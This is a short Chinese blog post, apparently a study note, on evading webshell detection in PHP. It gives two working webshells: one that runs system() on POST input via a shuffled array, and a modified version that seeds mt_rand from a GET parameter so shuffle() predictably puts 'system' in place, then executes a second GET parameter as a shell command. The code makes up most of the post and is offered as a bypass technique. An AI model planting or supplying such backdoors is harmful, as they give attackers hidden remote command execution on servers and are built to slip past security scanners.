记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
Elias不吃糖2 小时前
Java Lambda 表达式
java·开发语言·学习
梨子串桃子_2 小时前
推荐系统学习笔记 | PyTorch学习笔记
pytorch·笔记·python·学习·算法
jjjxxxhhh1233 小时前
spdlog介绍使用
学习
一三检测冯野180212918134 小时前
贴合NMPA注册 GB/T5398-2016助力医药包装运输安全
安全·模拟运输测试·包装运输测试·包装振动测试·环境试验·包装跌落测试
曾浩轩4 小时前
图灵完备Turing Complete 3
学习
天天睡大觉4 小时前
Python学习11
网络·python·学习
laplace01235 小时前
# 第六章 agent框架开发实践 - 学习笔记
人工智能·笔记·学习·语言模型·agent
坚持不懈的大白5 小时前
Leetcode学习笔记
笔记·学习·leetcode
SWAGGY..6 小时前
数据结构学习篇(10)--- 二叉树基础oj练习
数据结构·学习
QiZhang | UESTC6 小时前
学习日记day58
学习